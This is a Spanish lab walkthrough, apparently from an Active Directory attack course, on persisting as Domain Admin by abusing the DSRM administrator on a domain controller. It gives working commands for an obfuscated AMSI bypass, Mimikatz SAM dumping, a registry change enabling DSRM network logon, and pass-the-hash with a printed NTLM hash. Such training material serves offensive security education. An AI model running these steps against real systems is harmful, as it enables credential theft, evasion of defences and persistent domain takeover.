---
# System prepended metadata

title: 10. Domain Persistence

---

# 10. Domain Persistence 



## Learning Objective 11


Task

- Use Domain Admin privileges obtained earlier to abuse the DSRM credential for persistence.


Solución

Podemos persistir con acceso administrativo en el DC una vez que tenemos privilegios de Administrador de Dominio abusando de el administrador de DSRM.

Con los privilegios de administrador de dominio obtenidos anteriormente, ejecuta los siguientes comandos en el DC para abrir una sesión remota de PowerShell

```
PS C:\AD\Tools\Tools> $sess = New-PSSession dcorp-dc.dollarcorp.moneycorp.local
PS C:\AD\Tools\Tools> $sess
```

Deshabilitar AMSI en el DC:


```
PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> sET-
ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE'
) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL
)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -
f'Util','A','Amsi','.Management.','utomation.','s','System' )
)."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),(
"{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )
```


Cargue el script Invoke-Mimikatz en la sesión, ejecute el siguiente comando en la máquina local


```
PS C:\AD\Tools\Tools> Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess
```

Extraeremos las credenciales del archivo SAM del DC. La contraseña del Modo de Restauración de Servicios de Directorio (DSRM) se asigna al administrador local del DC


```
PS C:\AD\Tools\Tools> Enter-PSSession -Session $sess
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents>Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
token::elevate
lsadump::sam
```


El administrador de DSRM no puede iniciar sesión en el DC desde la red.
Así que tenemos que cambiar el modificar el comportamiento de inicio de sesión para la cuenta. modificando el registro en el DC. Podemos hacerlo de la siguiente manera:


```
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
```


Ahora desde nuestro sistema local podemos simplemente pasar el hash para el administrador de DSRM:


```
PS C:\AD\Tools\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'
```


Ahora podemos acceder al dcorp-dc directamente desde la nueva sesión.


```
PS C:\Windows\System32> ls \\dcorp-dc.dollarcorp.moneycorp.local\c$
```



